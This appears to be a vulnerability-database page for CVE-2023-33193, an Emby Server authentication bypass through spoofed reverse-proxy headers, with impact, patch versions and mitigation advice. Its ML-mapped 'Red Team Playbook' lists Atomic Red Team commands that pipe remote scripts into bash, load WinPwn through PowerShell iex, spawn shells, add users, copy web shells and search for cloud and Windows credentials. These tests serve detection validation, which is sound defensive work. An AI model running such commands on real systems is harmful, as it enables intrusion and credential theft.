CVE-2023-33193
Overview
This vulnerability is an authentication bypass caused by improper validation of HTTP headers intended for reverse proxy interoperability. The Emby Server's mechanism for determining local versus non-local network access is flawed, allowing manipulation of header values to bypass authentication checks. The affected component is the Emby Server's user login system, specifically how it processes network origin information from client requests.
Vulnerability Description
Emby Server is a user-installable home media server which stores and organizes a user's media files of virtually any format and makes them available for viewing at home and abroad on a broad range of client devices. This vulnerability may allow administrative access to an Emby Server system, depending on certain user account settings. By spoofing certain headers which are intended for interoperation with reverse proxy servers, it may be possible to affect the local/non-local network determination to allow logging in without password or to view a list of user accounts which may have no password configured. Impacted are all Emby Server system which are publicly accessible and where the administrator hasn't tightened the account login configuration for administrative users. This issue has been patched in Emby Server Beta version 4.8.31 and Emby Server version 4.7.12.
Impact
An unauthenticated attacker with network access to a publicly reachable Emby Server can exploit this vulnerability to gain administrative access without valid credentials, bypassing all authentication controls. This enables unauthorized management of the media server and potential exposure of user account information, including accounts lacking passwords. The attack requires no user interaction and leverages network-level header spoofing (CVSS vector AV:N/AC:L/PR:N/UI:N). This compromises the confidentiality and integrity of the server's user and administrative data.
Solution
Remediation requires upgrading Emby Server to at least version 4.7.12 for stable releases or 4.8.31 for beta releases, as specified in the EmbySupport security advisory GHSA-fffj-6fr6-3fgf (https://github.com/EmbySupport/security/security/advisories/GHSA-fffj-6fr6-3fgf). Administrators should apply these patches promptly. Additionally, tightening account login configurations for administrative users is recommended to reduce exposure prior to patching.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Emby Server arises from improper handling of user account settings, particularly concerning the authentication process. This flaw allows an attacker to exploit header spoofing techniques, which are typically used for communication with reverse proxy servers. By manipulating these headers, an attacker can potentially bypass authentication mechanisms, gaining unauthorized administrative access to the server. This situation is exacerbated in environments where the server is publicly accessible and the administrator has not enforced stringent login configurations for user accounts. The flaw particularly affects systems where user accounts may not have passwords set, making them especially vulnerable to exploitation.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could craft a malicious request that alters the perceived network context of the Emby Server, tricking it into thinking the request is coming from a trusted source. This manipulation could allow the attacker to log in without the need for a password or to enumerate user accounts, identifying those without password protection. Such an attack could be executed remotely, making it a significant threat for users who expose their Emby Server to the internet without adequate security measures. Additionally, the ease of access to user accounts could facilitate further attacks, such as data exfiltration or the deployment of malicious content.
The real-world impact of this vulnerability is substantial, particularly for organizations and individuals who rely on Emby Server for media management and streaming. Unauthorized administrative access could lead to a range of malicious activities, including the alteration or deletion of media files, unauthorized access to sensitive information, and the potential for the server to be used as a launching point for further attacks on the local network. For businesses, the consequences could extend beyond data loss to include reputational damage, legal liabilities, and financial losses stemming from downtime or data breaches. The high CVSS score of 9.1 underscores the critical nature of this vulnerability, indicating that it poses a severe risk to affected systems.
To detect and mitigate the risks associated with this vulnerability, organizations should implement several strategies. First and foremost, it is essential to update Emby Server to the latest patched versions, which address the vulnerability and enhance overall security. Additionally, administrators should review and tighten account login configurations, ensuring that all user accounts have strong, unique passwords. Employing network segmentation can also help limit exposure by restricting access to the Emby Server from untrusted networks. Monitoring logs for unusual access patterns or failed login attempts can serve as an early warning system, allowing for prompt response to potential exploitation attempts.
In conclusion, the vulnerability affecting Emby Server represents a significant threat to both individual users and organizations. The potential for unauthorized administrative access through header spoofing highlights the importance of robust security practices, particularly in environments where media servers are publicly accessible. By understanding the technical details of the vulnerability, recognizing the various exploitation scenarios, and implementing effective detection and mitigation strategies, users can better protect their systems and sensitive data from malicious actors. As the landscape of cybersecurity continues to evolve, ongoing vigilance and proactive measures remain critical in safeguarding against emerging threats.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Emby | Emby.releases | All |
cpe:2.3:a:emby:emby.releases:*:*:*:*:*:*:*:*
|
|
|
Emby | Emby.releases | All |
cpe:2.3:a:emby:emby.releases:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-273 | HTTP Response Smuggling |
32%
|
Medium | High | |
| CAPEC-33 | HTTP Request Smuggling |
32%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-33193 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/EmbySupport/security/security/advisories/GHSA-fffj-6fr6-3fgf |